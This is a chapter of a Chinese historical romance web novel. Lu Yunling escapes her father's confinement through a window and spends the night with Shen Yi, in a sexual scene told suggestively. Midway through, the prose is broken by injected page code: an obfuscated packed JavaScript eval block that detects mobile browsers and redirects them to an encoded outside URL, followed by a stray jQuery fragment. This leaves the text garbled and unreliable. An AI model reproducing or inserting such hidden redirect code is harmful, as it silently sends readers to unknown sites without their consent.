年关将至,雪小了不少,只院子里还有薄薄一层,陆云苓坐在镜子前描眉,今日已是沈翊说好的日子,若错过今日,她便没有机会了。
帘子被掀开,书嬷嬷走了进来,“姑娘,老爷来了。”
陆云苓动作一顿,一直未过问她的陆运怎么突然想起她了,“让父亲进来吧。”
关于治病一事,她没有提,陆运也没有说,双方心照不宣地将这件事放在心底。
“见过父亲。”
陆运今日休沐,穿着一身便服,上上面锈了竹子,他是文人,自诩君子,崇尚高雅。
“云苓这是要出门?”
陆云苓穿着一身绯色长裙,勾勒出纤细的腰,唇上抹了口脂,又画了眉,比平日里多了几分明艳。
亭亭玉立,倒有了亡妻的几分模样。
陆云苓颔首,不欲与他多谈,眼中带着疏离,“父亲过来是有什么事吗?”
陆运自然能看出她的冷淡,但他对陆云苓到底心有愧疚,陆运转移了话题,“你院中的丫鬟怎么那么少?”
他今日白第一次认真打量她的院子,一路走来院子里的雪没有清扫,就连家具也肉眼可见的灰。
陆云苓瞥了他那副虚伪的脸,莞尔一笑,“许是我多年离府,府里的规矩变了吧,毕竟都是夫人准备的。”
陆运哑口无言,换作平时,他定要训斥她目无尊长,可到底是自己女儿,想到她如今也没有几个月活头,心里泛酸,“我回去让你母亲送些人过来。”
陆云苓垂眸,眼睫轻颤,“不用了。”
见陆运看过来,她继续说,“反正你们也知道我活不久了,不是吗?”
少女眉目冷冽,不像是看父亲,陆运眉间紧绷,面露不悦,“云苓是在怨为父?”
陆云苓收回目光,没有回答他,面上表情却说明了一切。
不怨吗?
宠妾灭妻,是非不分。
但她也确实没立场让陆运别放弃她。
娶了妻却让妻子受委屈,生了女儿却不养活,这样的父亲,陆云苓打心瞧不上。
许是被陆云苓眼中的厌恶刺激了,又或许是被女儿下了架子,作为一个父亲,陆运脸上的面子过不去,恼羞成怒道:“你打扮成这副样子是要做什么去?整天不安分,净搞出一些幺蛾子,没有一点嫡女的模样。”
陆运这副模样,哪怕过去多年,陆云苓无比熟悉,“我做什么不关您的事。”
她顿了顿,意有所指,“毕竟府里养大的嫡女也和姐姐的未婚夫不清不楚,父亲若真在意,不若好好管教一番。”
陆运心中本就计划着让陆云月嫁到侯府,但被她这般赤裸的指出来,面上过意不去,“好,既然如此硬气,那就在屋子里好好反省,来人,看着大姑娘,不要让她出院子。”
陆云苓走上前,眼中带着不解,“父亲,您要做什么,为什么又要关我?”
既然他们不想救她,她就自救,她只是想救自己一把而已,沈翊的这个机会来之不易,他怎么能把她关在屋里?
陆运却甩了甩袖子,没理会陆云苓,什么也不说便出了门,不问缘故地便将她关在房间。
陆运走后,陆云苓想追上去,还没有出院子便被几个丫鬟婆子拦下,“姑娘,你不能出去。”
陆云苓看着门外的三四个人,“让开,放我出去。”
几人纹丝不动,陆云苓攥紧手指,看了一眼天色,只觉心口有些喘不过气,她看了一眼拦在屋外的人,转身进了房间。
天色渐渐黑了,陆云苓没有点蜡烛,门外的丫鬟婆子三三两两的聊着天,声音很低,生怕吵着屋内的人,却瞧见陆云苓进了房间一直到天黑都没反应,以为她还在和陆运闹脾气,青月有些担忧,询问其他人,“姑娘一整天没动静,书嬷嬷也不见踪影,真的没事吗?”
她们几人都没有贴身伺候过大姑娘,陆云苓身边原本有一个大丫鬟,却被老夫人发卖了。
虽不知什么原因,如今主子身边没有大丫鬟,少不了有人蠢蠢欲动。
一旁真吃着零嘴的青叶不以为然,但听妹妹这么说,还是说道:“我送饭进去时不还好好的?行了,我再进去看看。”
青叶走进屋子,却没有瞧见人心下疑惑,“姑娘?”
房间里没有一点动静,青叶环看一圈屋子,没点蜡烛,窗外寒风吹出嗡嗡的声音,她凑近一看,只见窗户下有一点血迹,她大声喊道:“快来人啊,姑娘不见了。”
院子里顿时慌乱一片,陆云苓听着嘈杂的声音,却无瑕顾及,瘸着腿迎着黑夜离去。
孰大孰小,她自有考量。
*
城西,清苑。
沈翊坐在榻前,衣襟敞开,露出硬朗的胸膛,如玉的脸上带着丝丝不悦。
第四盏茶了,天色已黑,她还没来。
口口声声说喜欢她,却又迟迟不来。
沈翊自顾自倒了杯酒,正要饮下,便听到一声很轻的声音,“世子。”
沈翊放下酒杯,就见陆云苓正站在房檐下,绯色的衣裙衬得她肤白如雪,眉目如画,尤其是那一双眼睛,让她无端生了不少艳色。
沈翊收回目光,“来了就进来。”
陆云苓走进屋子,沈翊才察觉出她的动作很不自然,他轻皱眉头,“你的腿怎么回事?”
陆云苓忍着脚踝处的疼痛,低头一看,已经渗出不少血了,一路上光线太暗,她都未曾发觉。
看着裙角的些许血迹,陆云苓杵在门旁,进也不是,退也不是。
见她站在没动,沈翊淡声道:“进来。”
陆云苓抬眸瞧他,屋子里烧了碳火,他只随便披了一件寝衣,比平日里多了几分和气。
陆云苓只犹豫几息,便提步走了进去,在他身旁坐下。
沈翊从身后架子上拿出一个盒子,在里面翻翻找找,冷不丁问她,“自己偷偷出来的?”
陆云苓啊了一声,没想到他会猜得到,到底没有否认,“我爹不让我出府。”
近日城中还有隐患,沈翊自然不想让人在他这儿出事,只要陆云苓出了府,便会有他的人接应,若没有自然便说明陆云苓是掩人耳目出来的。
陆云苓今日举动,算是惹怒了父亲,她偏过头,沈翊的脸在烛光下带着暖意,他低着头在盒子里挑挑拣拣。
陆云苓正出神,便听沈翊说道:“把鞋脱了。”
陆云苓弯下身子,轻轻将鞋脱了,露出有些红肿的脚踝,虽然有些疼,但伤口不大,只周围有些干了的血迹,估计是翻窗户时划伤的,认出沈翊手里的东西是伤药,陆云苓心里有些不自在,“世子,我自己来吧。”
沈翊没理会她,将她的小腿搭在自己腿上,又将她的裙角轻轻掀起,露出一截白皙的小腿。
衣料单薄,陆云苓感受到腿下的触感,没忍住缩了缩腿,却被沈翊按住,他手指划过她的小腿,引起一阵酥麻。
陆云苓抓住裙子的布料,低声道:“世子——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030649|194542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞧见她这副模样,沈翊似觉有趣,视线困在她身上,他含笑启唇,“陆姑娘莫不会以为今夜便只是喝茶闲聊吧。”
陆云苓自然懂,她轻轻摇头。
沈翊不再拨弄她,他拿出帕子轻轻将她脚踝处的血迹轻轻擦拭,又上了药,他动作很轻,在暖黄的烛光下无端温柔。
陆云苓不知沈翊对她具体是什么情感,但绝对不是喜欢,他好像有些讨厌她,却又没有拒绝她,两人到底不过是各取所需。
看着烛光下的眉眼,陆云苓弄不清楚心中到底是失落还是庆幸。
今夜注定是个难眠之夜。
沈翊擦好药,将纱布缠在她的脚踝上,抬眸却见她双臂撑在腰侧,身子微后仰,很不正经的动作,脸上的表情却有些复杂。
沈翊不是她,自是不知她心中所想。
陆云苓见沈翊擦好了药,将腿抽了回来。
沈翊也没在意,他端起桌上的酒杯,放到她唇边,笑问,“会喝酒吗?”
陆云苓盯着酒杯中酒,心下拒绝,“世子,我从未喝过酒。”
沈翊也没强求,手揽过她的腰,将她扯到怀中,“酒太烈,没喝过那就不喝了,只要你待会别喊疼。”
陆云苓低着头没看他,轻轻地嗯了一声。
可沈翊偏要她抬头看着他,他的手指轻轻抬住他的下巴,对上潋滟的桃花眸,喉结滚动,他的视线下移,落到她殷红的唇瓣上。
许是涂了口脂,比之前娇艳了不少。
陆云苓只觉沈翊的手不停地在腰间摩挲,激起一阵酥麻,目光迷离,忍不住唤他,“世子。”
沈翊唇角笑意更甚,放开了困在她腰间的手,眼里浮现出一丝柔情,“今日是你自己过来的,往后便没有后悔的机会了,既然说喜欢我,那便也要一直喜欢我。”
房间里的烛火摇曳,气温升温,陆云苓额头上出了一些汗,她看着身旁放开她后没了动作的男人,搞不懂他是何意思。
对她失去兴趣了吗?
陆云苓见他迟迟没有动作,心中不安,只好将膝盖杵在他的双膝间,在他探究的眼的眼神中解开腰带,外裳滑落脚边,只余下一身朦胧的纱衣,连里面的亵衣也若隐若现。
陆云苓抬手搭上沈翊的肩膀,对上男人平静得双眸,红唇轻启,“世子。”
沈翊一时没了动作,只是盯着她,盯着她衣衫不整的模样,陆云苓羞赧,她向前一步,坐在他的腿上,双手环住他的脖颈。
可还未待她有其他动作,沈翊便吻了上了。
陆云苓第一次与人接吻,不是很熟稔,沈翊亦是如此,陆云苓只觉整个人难以呼吸,似是见她难受,沈翊放开了她的唇,吻落在她的耳垂上,一阵酥麻,陆云苓缩了缩肩膀,轻喘着气。
沈翊将她轻轻抱起,将额前被汗湿的头发拨到两边,看着她迷离的双眸,唇边浮起一抹笑。
“真美。”
陆云苓听见他的夸赞,却无暇顾及。
没过多久,便迎来一阵难以忽略的疼痛,她忍不住轻哼几声,额前冒出细汗,沈翊见她神色不适,面带不满,眉头微拧,动作到底慢了下来。
长夜漫漫。
完事后沈翊将陆云苓简单擦拭后才将她放回床上,待自己沐浴回来时陆云苓陷在被褥中,昏睡了过去,只露出一张脸。
沈翊眸中还带着欲色,纤长的手指临摹着她的面容,心中默念着她的名字。
这是她自愿的,他可没逼她。